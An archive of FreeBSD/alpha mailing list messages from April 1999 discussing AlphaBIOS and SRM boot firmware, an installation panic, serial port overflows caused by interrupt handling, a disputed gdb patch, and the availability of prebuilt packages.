> the same Stefan Esser who owns the NCR driver?)

I have a bootstrap which runs in the same way as linload.exe from the
AlphaBIOS firmware. It can load kernels (only from dedicated disks, not
fdisk partitioned ones) but not much else.

The firmware for the Ruffian was sufficiently different from AlphaBIOS
that this program did not run. It appears that even Linux needs a special
version of linload.exe for this board and documentation as to what the
differences are is either unavailable or under NDA.

Once that bridge is crossed, code needs to be written to initialise the
runtime environment for the kernel which will involve switching to some
kind of OSF palcode (or something very like it). In principle this isn't
too hard but its fiddly and very hard to debug.

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On Tue, 20 Apr 1999, Alain G. Fabry wrote:

> Hello,
> 
> I'm trying to install 3.1-19990326 on my Dec Workstation 200  4/166.
> Everything seems to be working fine. I go through the whole installation
> process, but at the end of extracting the bin code to the / directory, I
> get the following error.
> 
> panic: ffs_valloc: dup alloc
> panic
> Stopped at   Debugger..Ng+0x24:   ldq    ra.0(sp)
> 
> and then it takes me to the db>
> 
> I also noticed that if I go through a reinstall, it seems to have a
> problem creating the partitions on the harddrive since it does not show
> the partitions during the reinstall.
> I hope this makes sense and can anybody please help me.
> TIA

That seems unusual for a freshly newfs'ed filesystem. That kind of error
normally only appears after an unclean shutdown where there is un-synced
data.  Were there any other error messages on the console before this
happened?  Does this happen every time you install?

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From owner-freebsd-alpha  Tue Apr 20 14:45:45 1999
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Have tried to install FreeBSD about 5 times with the same error and no, I
don't get any other error before this one.
What is weird to me is that whenever I get the error and try to reinstall
and label/partition the hard drive, all my previous labels/partitions from
the previous installation disappear and am working with a unpartitioned
drive.


On Tue, 20 Apr 1999, Doug Rabson wrote:

> On Tue, 20 Apr 1999, Alain G. Fabry wrote:
> 
> > Hello,
> > 
> > I'm trying to install 3.1-19990326 on my Dec Workstation 200  4/166.
> > Everything seems to be working fine. I go through the whole installation
> > process, but at the end of extracting the bin code to the / directory, I
> > get the following error.
> > 
> > panic: ffs_valloc: dup alloc
> > panic
> > Stopped at   Debugger..Ng+0x24:   ldq    ra.0(sp)
> > 
> > and then it takes me to the db>
> > 
> > I also noticed that if I go through a reinstall, it seems to have a
> > problem creating the partitions on the harddrive since it does not show
> > the partitions during the reinstall.
> > I hope this makes sense and can anybody please help me.
> > TIA
> 
> That seems unusual for a freshly newfs'ed filesystem. That kind of error
> normally only appears after an unclean shutdown where there is un-synced
> data.  Were there any other error messages on the console before this
> happened?  Does this happen every time you install?
> 
> --
> Doug Rabson				Mail:  dfr@nlsystems.com
> Nonlinear Systems Ltd.			Phone: +44 181 442 9037
> 
> 



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On Tue, 20 Apr 1999, Alain G. Fabry wrote:

> Have tried to install FreeBSD about 5 times with the same error and no, I
> don't get any other error before this one.
> What is weird to me is that whenever I get the error and try to reinstall
> and label/partition the hard drive, all my previous labels/partitions from
> the previous installation disappear and am working with a unpartitioned
> drive.

The reinstall thing is a long-standing bug in libdisk which I'm sure I
will fix eventually. Its just extremely painful debugging problems with
sysinstall and I have been putting it off :-(.

As to the panic, I'm stumped. Has anyone else successfully installed this
snapshot?

--
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From owner-freebsd-alpha  Tue Apr 20 16:20:20 1999
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On Fri, 16 Apr 1999 00:48:13 +0900 
 Hidetoshi Shimokawa <simokawa@sat.t.u-tokyo.ac.jp> wrote:

 > Here is a gdb fix.
 > 
 > --- alpha-tdep.c.orig	Thu Apr  8 21:24:45 1999
 > +++ alpha-tdep.c	Fri Apr 16 00:44:29 1999
 > @@ -502,6 +502,10 @@
 >  		 epilogue is reached.  */
 >  	      break;
 >  	  }
 > +	else if ((word & 0xfff00fff) == 0x43c0053e)	/* subq $sp,n,$sp */
 > +	  {
 > +	      frame_size += word & 0xff;
 > +	  }
 >  	else if ((word & 0xfc1f0000) == 0xb41e0000	/* stq reg,n($sp) */
 >  		 && (word & 0xffff0000) != 0xb7fe0000)	/* reg != $zero */
 >  	  {

This fix isn't correct.  You get the wrong function and literal.

        -- Jason R. Thorpe <thorpej@nas.nasa.gov>



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are there any secrets to building an alpha from the ports collection on an
Alpha? Mine keeps getting dependancy missing errors, then eventually
fails.

William




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From owner-freebsd-alpha  Tue Apr 20 18:41:33 1999
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For now you can look here:

	http://www.freebsd.org/~dfr/

Hopefully in the next day or two I will get this merged into the
port.

-steve

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# 
# are there any secrets to building an alpha from the ports collection on an
# Alpha? Mine keeps getting dependancy missing errors, then eventually
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# William



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From owner-freebsd-alpha  Tue Apr 20 23:58:36 1999
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> As to the panic, I'm stumped. Has anyone else successfully installed this
> snapshot?

Not that one, but I did just recently install 4.0-19990413-CURRENT
from ftp.freebsd.org and it worked just fine (though the alpha etc/
stuff is out of date and still references lkms, but that's more
cosmetic than fatal).

- Jordan


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OK.....I am getting a crap load oF "silo overflows" when connected to the
net. I am useing a external Hayes Acura 33/56k fax-modem. I am guessing this
is a serial port problem, but am not sure. I have this modem attached to
/dev/cuaa0 (com1).

Is there some setting I need to set at the SRM console for the serial port
or what?

This is a Alpha 200 4/233, if that makes any difference.

William



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On Wed, 21 Apr 1999, William Woods wrote:

> OK.....I am getting a crap load oF "silo overflows" when connected to the
> net. I am useing a external Hayes Acura 33/56k fax-modem. I am guessing this
> is a serial port problem, but am not sure. I have this modem attached to
> /dev/cuaa0 (com1).
> 
> Is there some setting I need to set at the SRM console for the serial port
> or what?
> 
> This is a Alpha 200 4/233, if that makes any difference.

This is because the alpha port doesn't currently support 'fast' interrupts
which the i386 sio driver uses to be able to read characters from the port
while the kernel thinks interrupts are disabled. I might add this support
sometime but I'm too busy fighting other fires right now to think of it.

One day, I would like to spend a decent amount of time profiling and
tuning the alpha kernel...

--
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From owner-freebsd-alpha  Wed Apr 21  6:51:45 1999
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Doug Rabson writes:
 > 
 > One day, I would like to spend a decent amount of time profiling and
 > tuning the alpha kernel...
 > 

When you do, remember iprobe.  It's stunningly useful for profiling.
We profile all our code on alphas.

I've got a small tutorial at:http://www.cs.duke.edu/ari/iprobe.html
The code itself is at ftp://ftp.cs.duke.edu/pub/gallatin/freebsd_iprobe.tar.gz

I'll eventually turn it into a real port when I figure out how the
heck to handle its dependance on libbfd.

Drew

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On Wed, 21 Apr 1999 00:02:01 -0700 
 "William Woods" <wwoods@cybcon.com> wrote:

 > OK.....I am getting a crap load oF "silo overflows" when connected to the
 > net. I am useing a external Hayes Acura 33/56k fax-modem. I am guessing this
 > is a serial port problem, but am not sure. I have this modem attached to
 > /dev/cuaa0 (com1).

I doubt it's a serial port problem.  It's more likely a problem of the FreeBSD
kernel not reasonably coping witht he fact that all device interrupts come
in at the same interrupt level on the Alpha (so network and disk controller
interrupts block serial port reception).

        -- Jason R. Thorpe <thorpej@nas.nasa.gov>



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Jason Thorpe wrote:
> On Wed, 21 Apr 1999 00:02:01 -0700 
>  "William Woods" <wwoods@cybcon.com> wrote:
> 
>  > OK.....I am getting a crap load oF "silo overflows" when connected to the
>  > net. I am useing a external Hayes Acura 33/56k fax-modem. I am guessing th
    is
>  > is a serial port problem, but am not sure. I have this modem attached to
>  > /dev/cuaa0 (com1).
> 
> I doubt it's a serial port problem.  It's more likely a problem of the FreeBS
    D
> kernel not reasonably coping witht he fact that all device interrupts come
> in at the same interrupt level on the Alpha (so network and disk controller
> interrupts block serial port reception).

I saw this yesterday and couldn't believe my eyes..  I wonder if it's
possible to use a soft or lazy masking system like on the i386..  Can
interrupts be individually masked if needed?

Cheers,
-Peter



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The new version of config 40013 or something... The version of config
stated in Makefile.alpha is 30011.. Is alpha not ready for the new-config
stuff?

(puzzlement)

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On Wed, 21 Apr 1999, Jason Thorpe wrote:

> On Wed, 21 Apr 1999 00:02:01 -0700 
>  "William Woods" <wwoods@cybcon.com> wrote:
> 
>  > OK.....I am getting a crap load oF "silo overflows" when connected to the
>  > net. I am useing a external Hayes Acura 33/56k fax-modem. I am guessing this
>  > is a serial port problem, but am not sure. I have this modem attached to
>  > /dev/cuaa0 (com1).
> 
> I doubt it's a serial port problem.  It's more likely a problem of the FreeBSD
> kernel not reasonably coping witht he fact that all device interrupts come
> in at the same interrupt level on the Alpha (so network and disk controller
> interrupts block serial port reception).

How does the NetBSD kernel cope with this problem on the alpha? I can't
see anything obvious in my copy of the source but it is somewhat dated.

--
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On Wed, 21 Apr 1999, Peter Wemm wrote:

> Jason Thorpe wrote:
> > On Wed, 21 Apr 1999 00:02:01 -0700 
> >  "William Woods" <wwoods@cybcon.com> wrote:
> > 
> >  > OK.....I am getting a crap load oF "silo overflows" when connected to the
> >  > net. I am useing a external Hayes Acura 33/56k fax-modem. I am guessing th
>     is
> >  > is a serial port problem, but am not sure. I have this modem attached to
> >  > /dev/cuaa0 (com1).
> > 
> > I doubt it's a serial port problem.  It's more likely a problem of the FreeBS
>     D
> > kernel not reasonably coping witht he fact that all device interrupts come
> > in at the same interrupt level on the Alpha (so network and disk controller
> > interrupts block serial port reception).
> 
> I saw this yesterday and couldn't believe my eyes..  I wonder if it's
> possible to use a soft or lazy masking system like on the i386..  Can
> interrupts be individually masked if needed?

Interrupts can be masked (there are generally different masks for isa and
pci and the pci mask is platform independant).  I haven't experimented
with it much, so I'm not sure what the right approach to a lazy interrupt
masking scheme would be.

We have plenty of pointless code between the palcode signalling the
interrupt and actual delivery to the driver so there is lots of scope for
improvement before changing the algorithm.

--
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On Wed, 21 Apr 1999, Matthew Jacob wrote:

> 
> The new version of config 40013 or something... The version of config
> stated in Makefile.alpha is 30011.. Is alpha not ready for the new-config
> stuff?
> 
> (puzzlement)

Everything should be ok. I just forgot to commit the tweak to
Makefile.alpha. I'm doing it now.

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guess that answers my lazy question


On Wed, 21 Apr 1999, Doug Rabson wrote:

> dfr         1999/04/21 12:50:27 PDT
> 
>   Modified files:
>     sys/alpha/conf       Makefile.alpha 
>   Log:
>   Update VERSREQ.
>   
>   Revision  Changes    Path
>   1.22      +2 -2      src/sys/alpha/conf/Makefile.alpha
> 



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On Wed, Apr 21, 1999 at 04:59:37PM -0400, Laine Stump wrote:
> I'm sending this message to port-alpha because I'm concerned that my email
> to Thor isn't getting through (I used the address in the Cc above). Has
> anyone else received notification from him about the Alpha motherboards? He
> said to contact him if we didn't hear back by Tuesday night, which I did.
> Still no replies. Is he really that swamped with requests, or has my email
> been lost?
> 
> Thanks, and sorry for the intrusion.

Negotiations with the vendor have become somewhat more complicated than I
was initially led to believe they would be.  They still haven't given me
a final price, and I of course can't tell people anything useful until
they do.

I'll send out some more mail on this tonight.

-- 
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On Wed, 21 Apr 1999 20:07:20 +0100 (BST) 
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 > How does the NetBSD kernel cope with this problem on the alpha? I can't
 > see anything obvious in my copy of the source but it is somewhat dated.

We (NetBSD) don't deal too well with it, either.  Although, our `com' driver
seems to be less prone to this problem due it its structure.  I've driven
a serial port on an AlphaStation 200 at 56k before, no problem.

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On Wed, 21 Apr 1999, Jason Thorpe wrote:

> On Wed, 21 Apr 1999 20:07:20 +0100 (BST) 
>  Doug Rabson <dfr@nlsystems.com> wrote:
> 
>  > How does the NetBSD kernel cope with this problem on the alpha? I can't
>  > see anything obvious in my copy of the source but it is somewhat dated.
> 
> We (NetBSD) don't deal too well with it, either.  Although, our `com' driver
> seems to be less prone to this problem due it its structure.  I've driven
> a serial port on an AlphaStation 200 at 56k before, no problem.

Perhaps it might be worth trying to collaborate on a lazy masking
interrupt scheme for *BSD/alpha in the future. At this level, the two
systems are virtually identical (not surprising).

Incidentally, you might also like to pick up the floating point software
completion code from FreeBSD/alpha if you haven't already.

--
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From owner-freebsd-alpha  Wed Apr 21 15:25:53 1999
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I was playing around in the SRM console and I see these things:

doing a "show con*"

brings up this........

console		graphics
control_disfd	enable
control_idema	enable
control_irq11	scsi		<<----
control_irq12	mouse		<<----
control_scsi_term	internal
controlp		on


What interests me here is the "control_irq" lines. I notice there is no line
for either com1 or com2. Now, I tries a "set control_irq4    com1" assuming
that this would set irq4 to com1, but when I rebooted the setting was no
longer there.

I am going to experament with setting this, not rebooting and seeing if this
takes care of any of the problems. If it does, I am going to assume that I
have a dead internal battery, replace it and try again....what ya think,
sound like n idea that might work?

> -----Original Message-----
> From: Doug Rabson [mailto:dfr@nlsystems.com]
> Sent: Wednesday, April 21, 1999 3:18 PM
> To: Jason Thorpe
> Cc: William Woods; Jordan K. Hubbard; Alain G. Fabry;
> freebsd-alpha@FreeBSD.ORG
> Subject: Re: External modems on Alpha.....
>
>
> On Wed, 21 Apr 1999, Jason Thorpe wrote:
>
> > On Wed, 21 Apr 1999 20:07:20 +0100 (BST)
> >  Doug Rabson <dfr@nlsystems.com> wrote:
> >
> >  > How does the NetBSD kernel cope with this problem on the
> alpha? I can't
> >  > see anything obvious in my copy of the source but it is
> somewhat dated.
> >
> > We (NetBSD) don't deal too well with it, either.  Although, our
> `com' driver
> > seems to be less prone to this problem due it its structure.
> I've driven
> > a serial port on an AlphaStation 200 at 56k before, no problem.
>
> Perhaps it might be worth trying to collaborate on a lazy masking
> interrupt scheme for *BSD/alpha in the future. At this level, the two
> systems are virtually identical (not surprising).
>
> Incidentally, you might also like to pick up the floating point software
> completion code from FreeBSD/alpha if you haven't already.
>
> --
> Doug Rabson				Mail:  dfr@nlsystems.com
> Nonlinear Systems Ltd.			Phone: +44 181 442 9037
>
>



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Well, that diden't do it........back to square 1

> -----Original Message-----
> From: William Woods [mailto:wwoods@cybcon.com]
> Sent: Wednesday, April 21, 1999 3:23 PM
> To: Doug Rabson; Jason Thorpe
> Cc: Jordan K. Hubbard; Alain G. Fabry; freebsd-alpha@FreeBSD.ORG
> Subject: RE: External modems on Alpha.....
>
>
> I was playing around in the SRM console and I see these things:
>
> doing a "show con*"
>
> brings up this........
>
> console		graphics
> control_disfd	enable
> control_idema	enable
> control_irq11	scsi		<<----
> control_irq12	mouse		<<----
> control_scsi_term	internal
> controlp		on
>
>
> What interests me here is the "control_irq" lines. I notice there
> is no line for either com1 or com2. Now, I tries a "set
> control_irq4    com1" assuming that this would set irq4 to com1,
> but when I rebooted the setting was no longer there.
>
> I am going to experament with setting this, not rebooting and
> seeing if this takes care of any of the problems. If it does, I
> am going to assume that I have a dead internal battery, replace
> it and try again....what ya think, sound like n idea that might work?
>
> > -----Original Message-----
> > From: Doug Rabson [mailto:dfr@nlsystems.com]
> > Sent: Wednesday, April 21, 1999 3:18 PM
> > To: Jason Thorpe
> > Cc: William Woods; Jordan K. Hubbard; Alain G. Fabry;
> > freebsd-alpha@FreeBSD.ORG
> > Subject: Re: External modems on Alpha.....
> >
> >
> > On Wed, 21 Apr 1999, Jason Thorpe wrote:
> >
> > > On Wed, 21 Apr 1999 20:07:20 +0100 (BST)
> > >  Doug Rabson <dfr@nlsystems.com> wrote:
> > >
> > >  > How does the NetBSD kernel cope with this problem on the
> > alpha? I can't
> > >  > see anything obvious in my copy of the source but it is
> > somewhat dated.
> > >
> > > We (NetBSD) don't deal too well with it, either.  Although, our
> > `com' driver
> > > seems to be less prone to this problem due it its structure.
> > I've driven
> > > a serial port on an AlphaStation 200 at 56k before, no problem.
> >
> > Perhaps it might be worth trying to collaborate on a lazy masking
> > interrupt scheme for *BSD/alpha in the future. At this level, the two
> > systems are virtually identical (not surprising).
> >
> > Incidentally, you might also like to pick up the floating point software
> > completion code from FreeBSD/alpha if you haven't already.
> >
> > --
> > Doug Rabson				Mail:  dfr@nlsystems.com
> > Nonlinear Systems Ltd.			Phone: +44 181 442 9037
> >
> >



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From owner-freebsd-alpha  Thu Apr 22  6: 3:21 1999
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I've finally made good on a promise that I made many moons ago.
Anyone interested in using pre-packaged ports on their FreeBSD/
Alpha can now obtain them here:

	ftp://ftp.freebsd.org/pub/FreeBSD/ports/alpha/packages

What's there now is my first full build.  It is a meager showing
with only about half of the 2200 ports present.  I've fixed a
few little problems in my build script and am currently running
another build.  It is nearing the end of ports/lang and it has
already packaged 900+ ports so there should be quite a few more
there the next time.

Some of them are still pretty rough and may not actually run
since I couldn't really test all of them thoroughly.  I welcome
any and all comments/suggestions/flames.  You can send them to
me (steve@freebsd.org) or this list as appropriate.

To start with and hardware/time permitting I'm going to try and
get out a new set about once a week.  I'm also making a concerted
effort to cleanup the build scripts so that they others may use
them for similar endeavors.

A special thanks to Jordan, Mike Smith, and the rest of the WC
gang for building, setting up, and sending me a killer piece of
hardware for doing the builds.  An honorable mention also goes
to Satoshi Asami for populating the ftp site with the packages
that I sent to him.

Enjoy!

-steve



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I'm trying to debug a problem with aicasm on the alpha and was saddened
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After assembling the sequencer file under x86:

Copyright (c) 1992-1999 The FreeBSD Project.
Copyright (c) 1982, 1986, 1989, 1991, 1993
The Regents of the University of California. All rights reserved.
FreeBSD 4.0-CURRENT #1: Thu Apr 22 19:37:58 MDT 1999
root@subway.plutotech.com:/usr/src/sys/compile/subway
Digital Personal Workstation (Miata)
Digital Personal WorkStation 433au, 432MHz
8192 byte page size, 1 processor.
EV56 (21164A) major=7 minor=0 extensions=0x1<BWX>

...

pcib0: <2117x PCI host bus adapter> on cia0
pci0: <PCI bus> on pcib0

...

ahc0: <Adaptec aic7890/91 Ultra2 SCSI adapter> at device 10.0 on pci1
ahc0: aic7890/91 Wide Channel A, SCSI Id=7, 16/255 SCBs
ahc0: interrupting at CIA irq 20

...

da2 at ahc0 bus 0 target 0 lun 0
da2: <SEAGATE ST34502LW 0004> Fixed Direct Access SCSI-2 device 
da2: 40.000MB/s transfers (40.000MHz, offset 15), Tagged Queueing Enabled
da2: 4340MB (8888924 512 byte sectors: 255H 63S/T 553C)

As soon as I can get a version of GDB that works on the alpha and debug
aicasm, the driver should be good to go.

--
Justin



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I've been pursuing another contact at the AlphaLinux site and this is
what one of their guys has to say.  If you're interested in this,
please follow up with Rich Payne (Doug, at least, should certainly
drop him a line and indicate his interest as one of the chief
AlphaBIOS/ARC boot troublemakers).

Thanks.

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Good news, sir.  Hopefully Compaq will show some mercy to *BSD 
folks and release this information :) 

Daniel
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OK, I've put two files into ftp.alphalinux.org/people/rpayne/

for your BSD friend (sorry but I nuked his email address at some point).
One is just the marketing pamphlet of the EBSDK, the other is the original
ARC spec. I'm working on getting more out, the problem is that it is still
a Compaq owned/copyrighted thingy, API does not own it. I'm seeing
Maddog this weekend and I'll bring it up with him, I'm pretty sure Compaq would
be willing to donate some of the SDKs to the BSD guys...


Rich Payne
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On Thu, 22 Apr 1999, Justin T. Gibbs wrote:

> I'm trying to debug a problem with aicasm on the alpha and was saddened
> to see that gdb is missing from our src tree build.  Does anyone have
> a pointer on how I might build gdb correctly from FSF 4.18 sources or
> perhaps have binary that will work with EGCS build alpha binaries?

I have some patches to 4.17 but they don't work too well with egcs. Is
4.18 actually out? If so, I think I'll take a stab at importing it into
current fairly soon and I will make sure it works for the alpha at that
time.

--
Doug Rabson				Mail:  dfr@nlsystems.com
Nonlinear Systems Ltd.			Phone: +44 181 442 9037




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Doug Rabson wrote:
> On Thu, 22 Apr 1999, Justin T. Gibbs wrote:
> 
> > I'm trying to debug a problem with aicasm on the alpha and was saddened
> > to see that gdb is missing from our src tree build.  Does anyone have
> > a pointer on how I might build gdb correctly from FSF 4.18 sources or
> > perhaps have binary that will work with EGCS build alpha binaries?
> 
> I have some patches to 4.17 but they don't work too well with egcs. Is
> 4.18 actually out? If so, I think I'll take a stab at importing it into
> current fairly soon and I will make sure it works for the alpha at that
> time.

Sure is..

-r--r--r--   1 root     10        5996836 Apr 24  1996 gdb-4.16.tar.gz
-r--r--r--   1 root     10        8972436 Apr 28  1998 gdb-4.17.tar.gz
-r--r--r--   1 root     10       11657032 Apr  9 15:46 gdb-4.18.tar.gz

Cheers,
-Peter



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> 	I just talked with one of our engineers here about the docs/SDK
> etc... for AlphaBIOS. Evidently there is no documentation for AlphaBIOS,
> the docs being the source itself, the problem being that parts of the
> source were written/are copyrighted by Microsoft. So in order to get those
> you'd have to sign an NDA with MS. Not good.

Grumble.  That's quite unfortunate. :(  Thanks for letting me know,
in any case.

> The EBSDK is available from Compaq (1-800-Digital) for $79, the license of
> that seems to be fairly liberal (even BSD like I've been told). This
> includes the PAL code and documentation, between this and the sources to
> MILO
> you should be able to construct you're own boot loader (so I've been
> told).

EBSDK?  I'm afraid I don't know the term - is this a fancier name for
ARC, or are we talking about ARC and AlphaBIOS in the same breath in
paragragh 1?  I only know of 3 BIOS alternatives, that being
ARC/AlphaBIOS and SRM, and since we already support SRM that basically
leaves the other two (one?  I'm not sure if ARC is deprecated) as
targets.  This is especially painful in light of the Samsung decision
to go with AlphaBIOS on its newer boards.

If EBSDK would indeed be of some help here, do you have a part number?
I dread just cold-calling 1-800-Digital and navigating the PBX maze
without a map. :)

Thanks!

- Jordan


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> Grumble.  That's quite unfortunate. :(  Thanks for letting me know,
> in any case.
	Basically, you will notice that the AlphaBIOS firmware strongly
resembles dosshell or early versions of Windows, depending on how 
you look at it.  Obviously MS provided some information for 
interfacing with an NT boot loader, but it makes one wonder if 
most of DEC's technology licensing fees were for that ol 'look and 
feel' of an MS product. 

> EBSDK?  I'm afraid I don't know the term - is this a fancier name for
> ARC, or are we talking about ARC and AlphaBIOS in the same breath in
> paragragh 1?  I only know of 3 BIOS alternatives, that being
	I am sure Rich will correct me if I am wrong, but the
EBSDK is the Evaluation Board Software Development Kit.  An
evaluation board (EB) from DEC is just like a prototyping board
from any other workstation vendor - something to let developers
and ISV's get started on system development pre-production. 
	With few exceptions (again, seak up here Rich :)
an evaluation board retains compatibility with firmware on 
production systems like the 300XL, PWS (Miata), etc.  

> ARC/AlphaBIOS and SRM, and since we already support SRM that basically
> leaves the other two (one?  I'm not sure if ARC is deprecated) as
	ARC is still the only alternative on systems like the
Jenson and Multia, as I recall.  And as everyone knows, those suckers are 
flying around all over the used workstation market right now. 

> targets.  This is especially painful in light of the Samsung decision
> to go with AlphaBIOS on its newer boards.
	Microsoft talks, big companies snap to attention.  Sorry, 
had to point that out :)  

> If EBSDK would indeed be of some help here, do you have a part number?
> I dread just cold-calling 1-800-Digital and navigating the PBX maze
> without a map. :)
	(perks up) Hmm? Somebody say they want PBX schemats? :)
---
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> 
> > The EBSDK is available from Compaq (1-800-Digital) for $79, the license of
> > that seems to be fairly liberal (even BSD like I've been told). This
> > includes the PAL code and documentation, between this and the sources to
> > MILO
> > you should be able to construct you're own boot loader (so I've been
> > told).
> 
> EBSDK?  I'm afraid I don't know the term - is this a fancier name for

Evaluation Board SDK. Old version of MILO I believe.  But isn't this only
for the SRM?


> ARC, or are we talking about ARC and AlphaBIOS in the same breath in
> paragragh 1?  I only know of 3 BIOS alternatives, that being
> ARC/AlphaBIOS and SRM, and since we already support SRM that basically
> leaves the other two (one?  I'm not sure if ARC is deprecated) as
> targets.  This is especially painful in light of the Samsung decision
> to go with AlphaBIOS on its newer boards.
> 
> If EBSDK would indeed be of some help here, do you have a part number?
> I dread just cold-calling 1-800-Digital and navigating the PBX maze
> without a map. :)
> 
> Thanks!
> 
> - Jordan
> 
> 
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> > ARC/AlphaBIOS and SRM, and since we already support SRM that basically
> > leaves the other two (one?  I'm not sure if ARC is deprecated) as
> 	ARC is still the only alternative on systems like the
> Jenson and Multia, as I recall.  And as everyone knows, those suckers are 
> flying around all over the used workstation market right now. 

No, Multia happily has SRM.



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On Fri, 23 Apr 1999 15:28:58 -0700 (PWT) 
 Matthew Jacob <mjacob@feral.com> wrote:

 > > EBSDK?  I'm afraid I don't know the term - is this a fancier name for
 > 
 > Evaluation Board SDK. Old version of MILO I believe.  But isn't this only
 > for the SRM?

Not an old version of MILO.  But, apparently, the PALcode on EBDSK is what
the MILO PALcode was fashioned after.

Unfortunately, the PALcode on the EBDSK is so amazingly buggy (according
to someone who has done rather significant PALcode hacking for an Alpha-based
supercomputer) that it's more or less not usable.

        -- Jason R. Thorpe <thorpej@nas.nasa.gov>



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On Fri, 23 Apr 1999 18:33:25 -0400 (EDT) 
 "Daniel J. Frasnelli" <dfrasnel@csee.wvu.edu> wrote:

 > 	ARC is still the only alternative on systems like the
 > Jenson and Multia, as I recall.  And as everyone knows, those suckers are 
 > flying around all over the used workstation market right now. 

..except you can always get SRM for Jensen and Multia.

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Jordan K. Hubbard wrote:
> EBSDK?  I'm afraid I don't know the term - is this a fancier name for
> ARC, or are we talking about ARC and AlphaBIOS in the same breath in
> paragragh 1?  I only know of 3 BIOS alternatives, that being
> ARC/AlphaBIOS and SRM, and since we already support SRM that basically
> leaves the other two (one?  I'm not sure if ARC is deprecated) as
> targets.  This is especially painful in light of the Samsung decision
> to go with AlphaBIOS on its newer boards.
> 
> If EBSDK would indeed be of some help here, do you have a part number?
> I dread just cold-calling 1-800-Digital and navigating the PBX maze
> without a map. :)

The EBSDK (Evaluation Board Software Development Kit) was available from
the OEM sales group in the old Digital. It was intended as an example
implementation that designers could use as a starting point for a new
board design. Looking in an old OEM catalog (dated 1994), the part number
for the EB64+ design kit was 21A02-11. The description for this part
number is...

"EB64+ DECchip 61064 (275 MHz) PCI Design Kit (contains only
documentation and schematics, no board) for OSF/1 and Windows NT."

The list of features contains...

"Software support includes industry-standard 512 Kbyte UVPROM containing
debug monitor code. Source code listing for all software (including
SROM, boot diagnostic ROM montitor) are provided. The monitor provides
functions such as file load; read and write memory and registers; memory
dump image; transfer control to program; and breakpoints."

and further down...

"Development code can be developed on a host system and loaded into the
EB64+ through the serail line or Ethernet port".


There should be a later product like this.

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> No, Multia happily has SRM.
	Does it have only SRM? My PWS box has ABIOS and SRM, selectable 
through a menu in the AlphaBIOS config or at the SRM prompt.  
Of course, this does not mean that I can actually boot using SRM - 
peripherals such as framebuffer and SCSI controller type limit that. 

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On Fri, 23 Apr 1999, Matthew Jacob wrote:

> 
> > 
> > > The EBSDK is available from Compaq (1-800-Digital) for $79, the license of
> > > that seems to be fairly liberal (even BSD like I've been told). This
> > > includes the PAL code and documentation, between this and the sources to
> > > MILO
> > > you should be able to construct you're own boot loader (so I've been
> > > told).
> > 
> > EBSDK?  I'm afraid I don't know the term - is this a fancier name for
> 
> Evaluation Board SDK. Old version of MILO I believe.  But isn't this only
> for the SRM?

SRM yes, but it also includes docs on EV5 (V3.1) and EV6 (V4.0) plus PAL
code and assembler samples that can be re-used. Again, I've been told that
between the info in that kit and the current MILO sources you could figure
everything out to make your own bootloader, (I know that it isn't all that
easy, but it's a start).

regards,
rdp


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> > No, Multia happily has SRM.
> 	Does it have only SRM? My PWS box has ABIOS and SRM, selectable 
> through a menu in the AlphaBIOS config or at the SRM prompt.  
> Of course, this does not mean that I can actually boot using SRM - 
> peripherals such as framebuffer and SCSI controller type limit that. 

It has both.




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It has both ARC && SRM. I don't think there's a version with AlphaBios.


On Fri, 23 Apr 1999, Daniel J. Frasnelli wrote:

> > No, Multia happily has SRM.
> 	Does it have only SRM? My PWS box has ABIOS and SRM, selectable 
> through a menu in the AlphaBIOS config or at the SRM prompt.  
> Of course, this does not mean that I can actually boot using SRM - 
> peripherals such as framebuffer and SCSI controller type limit that. 
> 
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On Fri, 23 Apr 1999, Daniel J. Frasnelli wrote:

> > No, Multia happily has SRM.
> 	Does it have only SRM? My PWS box has ABIOS and SRM, selectable 
> through a menu in the AlphaBIOS config or at the SRM prompt.  
> Of course, this does not mean that I can actually boot using SRM - 
> peripherals such as framebuffer and SCSI controller type limit that. 

Multia has both at the same time.... well, you switch between then that
is, but it can hold both at the same time (unlike say the LX that can only
take 1 at a time).


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"Daniel J. Frasnelli" <dfrasnel@csee.wvu.edu> writes:
> > ARC/AlphaBIOS and SRM, and since we already support SRM that basically
> > leaves the other two (one?  I'm not sure if ARC is deprecated) as
> 	ARC is still the only alternative on systems like the
> Jenson and Multia, as I recall.  And as everyone knows, those suckers are 
> flying around all over the used workstation market right now. 

Uh, this is incorrect.  Both Jensen and Multia had/have SRM.

IIRC, AlphaXL systems, AlphaPC64's, the newer Samsung boards and a few
others have only ARC or AlphaBIOS.  Really, the set of systems without
SRM is small, and the set of systems which are interesting these days
which only have SRM is decreasing.  (really, only the samsung boards
are left, right?)  Even things like (at least some of) the white-box
systems have SRM (e.g. the 330x boxes you can get on Onsale right
now).



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> Multia has both at the same time.... well, you switch between 
> then that
> is, but it can hold both at the same time (unlike say the LX 
> that can only
> take 1 at a time).

In the Linux world there's even hacks on how to put MILO in one of the Flash
EEPROMs (for those systems that allow it like the Multia).  One would assume
MILO would be a possible  starting point for an ARC/AlphaBIOS xxBSD boot
since it has the needed machine specific versions of the PALcode MILO uses
available for most platforms courtesy of DEC, er, Compaq.

There was some discussion of SRM versus ARC/AlphaBIOS on the FreeBSD list.
The main advantage I saw of supporting booting via ARC or AlphaBIOS would be
to allow dual booting a system w/NT or Linux, which is certainly a nice
feature.  With ARC at least it's easily possible to dual boot Linux (via
MILO) and NT using the same "system" (or MILO) partition, just two configs
referencing different dirs and loaders.
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On 23 Apr 1999, Chris G. Demetriou wrote:

> IIRC, AlphaXL systems, AlphaPC64's, the newer Samsung boards and a few
> others have only ARC or AlphaBIOS.  Really, the set of systems without
> SRM is small, and the set of systems which are interesting these days
> which only have SRM is decreasing.  (really, only the samsung boards
> are left, right?)  Even things like (at least some of) the white-box
> systems have SRM (e.g. the 330x boxes you can get on Onsale right
> now).

Most systems can take either SRM and/or AlphaBIOS (or ARC for older
systems). The only ones that can't are the 164PC (SX) and the
DeskStation/Samsumg UX boards (that have their own ARCS BIOS).
(I think I got that right).

What do you mean by the Samsung boards? LX and UX?

The LX can take either SRM or AlphaBIOS, but only one at a time.
UX uses ARCS BIOS and the DP264 comes with both SRM and AlphaBIOS.

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Rich Payne <rdp@talisman.alphalinux.org> writes:
> Most systems can take either SRM and/or AlphaBIOS (or ARC for older
> systems). The only ones that can't are the 164PC (SX) and the
> DeskStation/Samsumg UX boards (that have their own ARCS BIOS).
> (I think I got that right).

of the modern ones, that may be correct.

Note, however, that unless i'm mistaken, a bunch of peple (at least
some NetBSD users, IIRC), have successfully put a version of SRM on
the SX boards.

the UX boards are, as far as i know, the only >=EV5 boards which you
can't put any kind of working SRM on.


